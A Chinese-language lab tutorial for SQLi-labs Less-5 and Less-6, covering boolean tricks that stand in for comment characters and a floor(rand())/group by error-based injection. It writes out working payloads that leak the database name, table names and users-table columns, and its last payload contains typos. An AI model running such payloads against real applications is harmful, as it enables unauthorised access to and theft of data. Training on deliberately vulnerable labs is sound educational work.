零、前言
Less-5和Less-6实际上说的是一回事,都是基于错误的Sql注入,但是作者想用Less-5说明如何使用and 和 or替换注释符,那我们也将这两课分开说。
一、Less-5:不用注释符的查询
这节课的Sql语句跟第一节是一样的,但是返回结果只有
You are in………..
然后我们直接进入Mysql命令行界面,演示几个命令就能说明问题了。
Id=1 or 2
Id=1 or id =2
Id=1 and 2
Id=1 and id=2
我们知道使用注释符的目的是屏蔽掉后面的sql语句,使我们插入的注入语句可以正确的执行;同理如果我们使用or 或and 使后面的语句布尔判断为永真那一样能起到“屏蔽”的效果,就像下面两条语句的结果是一样的:
SELECT * FROM users WHERE id='$id' # LIMIT 0,1 SELECT * FROM users WHERE id='$id' and '1'='1' LIMIT 0,1
二、Less-6:基于报错的注入
0x01 常规测试
这节课我们将学习基于报错的注入,那么什么是基于错误的注入呢?首先我们看一下这一节课的界面,跟上节课一样如果输入一个正常的id值,只会显示You are in 。。。。。当注入一个错误的id值id=1"那么就会报错:
id=1
id=1"
通过前面的知识我们大概可以猜测它后台的查询的语句为:
Select * from table where id = “input”
0x02 Sql基本函数
我们来讨论一些sql的基本函数。我们从count函数开始,它会返回行数。
select count(*) from information_schema.tables;
我们来尝试一个随机函数,这个函数能得到一个介于0和1之间的一个随机值
Select rand();
接下来的函数是group by ,它能依据我们想要的规则对结果进行排序
Select table_name,table_schema from information_schema.tables group by table_schema;
我们看到输出结果以table_schema的首字符排序,输出每个数据库里的第一个表。
现在思考,我们怎么从一个Sql错误中爆出数据库信息呢?我们继续测试
Select database();
它显示的是当前的数据库。接下来我们增加一些有趣的显示:
Select group_concat(0x3a,0x3a,(select database()),0x3a,0x3a)
我们可以给Select group_concat(0x3a,0x3a,(select database()),0x3a,0x3a)取一个短一点的名字
Select group_concat(0x3a,0x3a,(select database()),0x3a,0x3a)name;
现在我们加入一些随机性,rand()获取随机数,floor()取整
Select group_concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()))name;
我们通过这条语句可以看到当前数据库有多少字段数,注意我们使用的concat()而不是group_concat()
Select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()))name from information_schema.columns;
同样表名也是可以的
Select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()))name from information_schema.tables;
接下来我们多加一个聚合函数count()
Select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;
多执行几次,直至出错(键值重复)
我们看到,在错误信息中出现了当前数据库名,这正是我们想要的结果,这里的database()可以换成任何你想查询的函数,甚至写一些复杂的语句。
Select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables;
执行多次,直至出错,出现第一个表名
修改limit 2,1,出现第二个表名
0x03 注入测试
接下来我们将上面的成果用到前台注入测试一下,我们已经对后台的Sql语句进行了简单的测试
Select * from table where id=”input”
那么我们的注入语句可以这样写入
Select * from table where id=”input” and 攻击代码 --+”
现在我们来测试一下
" and 1 –+
将1替换成我们在Mysql中联系的语句
" and (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a, floor(rand()*2))name from information_schema.tables group by name) --+
" and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a, floor(rand()*2))name from information_schema.tables group by name)) --+
" AND (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a, floor(rand()*2))name from information_schema.tables group by name)b) --+
多刷新几次,直至出错
可以看到,跟我们之前联系的出错是一样的,这样我们就在前台得到了数据库里的敏感信息,爆出当前数据库的表名
" AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b) --+
进一步得到用户表的信息
" AND (select 1 from (select count(*),concat(0x3a,0x3a(select column_name from information_schema.colunswhere table_name='users' limit 1,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b) --+
进一步如何获取数据表中的内容读者自己尝试一下吧~~